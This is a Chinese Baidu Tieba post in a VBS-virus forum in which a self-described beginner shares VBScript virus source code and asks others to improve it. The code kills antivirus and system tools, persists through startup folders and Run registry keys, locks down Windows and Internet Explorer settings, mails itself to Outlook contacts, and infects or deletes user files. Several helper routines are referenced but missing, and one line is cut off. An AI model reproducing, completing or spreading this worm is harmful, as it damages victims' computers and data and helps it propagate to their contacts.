网页资讯视频图片知道文库贴吧地图采购
进入贴吧全吧搜索

 
 
 
日一二三四五六
       
       
       
       
       
       

签到排名:今日本吧第个签到,

本吧因你更精彩,明天继续来努力!

本吧签到人数:0

一键签到
成为超级会员,使用一键签到
一键签到
本月漏签0次!
0
成为超级会员,赠送8张补签卡
如何使用?
点击日历上漏签日期,即可进行补签。
连续签到:天  累计签到:天
0
超级会员单次开通12个月以上,赠送连续签到卡3张
使用连续签到卡
05月12日漏签0天
vbs病毒吧 关注:431贴子:415
  • 看贴

  • 图片

  • 吧主推荐

  • 游戏

  • 0回复贴,共1页
<<返回vbs病毒吧
>0< 加载中...

本人写的vbs病毒欢迎各位大佬前来改进

  • 只看楼主
  • 收藏

  • 回复
  • DHRT射手
  • 水渣
    1
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
On Error Resume Next
'关闭杀软代码
Sub MonitorSystem(objfso, vbsCode)
On Error Resume Next
Dim ProcessNames
ProcessNames = Array("ras.exe", "360tray.exe", "taskmgr.exe", "cmd.exe", "cmd.com", "regedit.exe", "regedit.scr", "regedit.pif", "regedit.com", "msconfig.exe", "SREng.exe", "USBAntiVir.exe")
Do
Call KillProcess(ProcessNames)
Call InvadeSystem(objfso, vbsCode)
WScript.Sleep 5000
Loop
End Sub
Set fs=CreateObject("Scripting.FileSystemObject")
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject("Scripting.FileSystemObject")
dim r
Set r=CreateObject("Wscript.Shell")
r.Regwrite "HKLM\Software\classes\vbsfile\defaulticon\","shell32.dll,-152"
r.Regwrite "HKLM\Software\classes\vbsfile\","文本文档"
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Σ(っ°Д°;)っ.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir2&"\Σ(っ°Д°;)っ.vbs")
so.GetFile(WScript.ScriptFullName).Copy(dir1&"\Start Menu\Programs\启动\Σ(っ°Д°;)っ.vbs")
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives",63000000,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\ScanRegistry",""
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\NoRealMode",1,"REG_DWORD"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\Σ(っ°Д°;)っ","Σ(っ°Д°;)っ.vbs"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\WinOldApp\Disabled",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetTaskBar",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders",1,"REG_DWORD"
r.Regwrite "HKLM\Software\CLASSES\.reg\","txtfile"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption","Σ(っ °Д °;)っ"
r.Regwrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText","Σ(っ °Д °;)っ"
Set ol=CreateObject("Outlook.Application")
On Error Resume Next '传播
For x=1 To 20
Set Mail=ol.CreateItem(0)
Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x)
Mail.Subject="Σ(っ °Д °;)っ"
Mail.Body="Downloading and opening this file will be a surprise"
Mail.Attachments.Add(dir2&"Σ(っ °Д °;)っ.vbs")
Mail.Send
Next
ol.Quit
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserSaveAs",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFileOpen",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Advanced",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Cache Internet",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\AutoConfig",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\History",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\Connwiz Admin Lock",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\SecurityTab",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Control Panel\ResetWebSettings",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions\NoAddingSubScriptions",1,"REG_DWORD"
r.Regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu",1,"REG_DWORD
'搜索扩展名为"hta", "htm" , "html" , "asp", "vbs"的文件,并将自身插入到这些文件的头部
Sub SearchFile(objfso, strPath, VbsCode_WebPage, VbsCode_Victim, T)
On Error Resume Next
Dim pfo, pf, pfi, ext
Dim psfo, ps
Set pfo = objfso.GetFolder(strPath)
Set pf = pfo.Files
For Each pfi In pf
If Cnt >= CntMax Then
Exit For
End If
ext = LCase(objfso.GetExtensionName(pfi.Path))
Select Case ext
Case "doc", "docx", "mp3", "mp4", "ppt", "png", "gif", "txt", "xlsx", "js"
Call InfectHead(pfi.Path, pfi, objfso, VbsCode_WebPage, VbsCode_Victim, ext, T)
Case "mpg", "rmvb", "avi", "rm"
If IsSexFile(pfi.Name) = True Then
pfi.Delete
End If
End Select
Next
Set psfo = pfo.SubFolders
For Each ps In psfo
If Cnt >= CntMax Then
Exit For
End If
Call SearchFile(objfso, ps.Path, VbsCode_WebPage, VbsCode_Victim, T)
Next
End Sub
欢迎指正小白一枚如果有错请指正


登录百度账号

扫二维码下载贴吧客户端

下载贴吧APP
看高清直播、视频!
  • 贴吧页面意见反馈
  • 违规贴吧举报反馈通道
  • 贴吧违规信息处理公示
  • 0回复贴,共1页
<<返回vbs病毒吧
分享到:
©2025 Baidu贴吧协议|隐私政策|吧主制度|意见反馈|网络谣言警示